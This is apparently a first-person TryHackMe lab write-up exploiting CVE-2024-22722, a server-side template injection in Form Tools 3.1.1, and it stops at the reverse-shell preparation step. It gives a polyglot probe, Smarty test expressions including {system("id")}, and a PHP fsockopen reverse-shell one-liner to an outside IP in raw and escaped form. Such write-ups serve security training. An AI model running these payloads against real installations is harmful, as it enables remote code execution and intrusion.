image.png

Overview

This entry documents a completed exploitation exercise targeting CVE 2024 22722 in Form Tools version 3.1.1. The engagement was performed in a controlled environment following a TryHackMe room scenario. The objective was to confirm a server side template injection vulnerability in the form creation workflow, to identify the template engine in use, and to demonstrate command execution and a practical proof of concept for remote code execution.

The Challenge

Form Tools is an open source PHP application for building and managing web forms and storing form data on a MySQL backend. It is widely used to create data capture workflows without custom coding. A server side template injection vulnerability in the group name field under the add forms flow can allow an attacker to run arbitrary commands on the host by injecting template expressions that the server evaluates. This issue is tracked as CVE-2024-22722 and has been published in common vulnerability databases and advisory feeds.

The Approach

The assessment followed a standard web application exploitation workflow that mirrors professional pentest practice. Steps included authenticated access to administration functions, identification of user controlled template data, safe probing to detect template evaluation and template engine fingerprinting, controlled command execution to confirm exploitability, and development of a proof of concept reverse shell. All actions were limited to an isolated test instance provided by the TryHackMe exercise. Public advisories and vendor documentation were referenced to validate findings and to ensure the results aligned with published details.

Tools used

  1. Local browser for interactive administration and content editing
  2. TryHackMe lab instance as the test target environment
  3. Local listener for reverse shell handling using netcat or similar

The Execution

  1. Administrator login

    I authenticated to the application as the administrator and verified access to the form builder user interface.

    VirtualBox_Ethical-Hacker-Kali Beta_04_10_2025_00_44_05.png

  2. Creating an internal form

    I created a new form, selected internal forms, named the form, and specified the number of fields needed for the exercise. The creation process showed an editable group name element which became our attack surface.

    VirtualBox_Ethical-Hacker-Kali Beta_04_10_2025_00_45_04.png

    VirtualBox_Ethical-Hacker-Kali Beta_04_10_2025_00_45_22.png

    VirtualBox_Ethical-Hacker-Kali Beta_04_10_2025_00_45_36.png

    VirtualBox_Ethical-Hacker-Kali Beta_04_10_2025_00_45_49.png

  3. Identifying a template evaluation point

    Under the view tab I added and updated a group name. The value I entered was reflected back in the interface which suggested server side template rendering.

    VirtualBox_Ethical-Hacker-Kali Beta_04_10_2025_00_46_04.png

    VirtualBox_Ethical-Hacker-Kali Beta_04_10_2025_00_47_51.png

    VirtualBox_Ethical-Hacker-Kali Beta_04_10_2025_00_49_14.png

  4. I tested a known server side template injection polyglot ${{<%[%'"}}%\.which produced an error that revealed the template engine and confirmed that template expressions were evaluated on the server. The error message indicated the engine in use was PHP Smarty.

    VirtualBox_Ethical-Hacker-Kali Beta_04_10_2025_01_29_01.png

    VirtualBox_Ethical-Hacker-Kali Beta_04_10_2025_01_29_14.png

  5. Engine fingerprinting with a benign expression

    To confirm Smarty I submitted a small test expression that calls the built in filter functions. The payload {'hello'|upper} returned HELLO as the updated group name which proved that Smarty expressions were evaluated and that the application applied them to user supplied group names.

    VirtualBox_Ethical-Hacker-Kali Beta_04_10_2025_00_49_50.png

    VirtualBox_Ethical-Hacker-Kali Beta_04_10_2025_00_50_09.png

  6. From evaluation to command execution

    Knowing that Smarty can execute system commands through its function syntax I tried a proof of concept system command. The payload {system("id")} returned the expected output for the system id command which confirmed remote command execution capability via the template injection vector.

    VirtualBox_Ethical-Hacker-Kali Beta_04_10_2025_00_50_31.png

    VirtualBox_Ethical-Hacker-Kali Beta_04_10_2025_00_50_38.png

  7. Preparing a reverse shell payload

    With command execution confirmed I generated a PHP reverse shell payload suitable for execution via the template call. Because the command is placed inside double quotes in the template expression it was necessary to escape embedded double quotes and to escape shell sensitive characters such as the dollar sign $ so the command reaches PHP intact. Escaping ensures the literal characters are preserved until PHP executes the payload. The prepared payload was adapted from a known reverse shell template and escaped accordingly so it could be injected into the system call.

    ##The command from revshells.com 
    php -r '$sock=fsockopen("10.21.18.51",1234);exec("sh <&3 >&3 2>&3");' 
    
    ##The command with the the escaped characters 
    php -r '\$sock=fsockopen(\"10.21.18.51\",1234);exec(\"sh <&3 >&3 2>&3\");'
    

    VirtualBox_Ethical-Hacker-Kali Beta_04_10_2025_00_52_43.png

    VirtualBox_Ethical-Hacker-Kali Beta_04_10_2025_00_52_43.png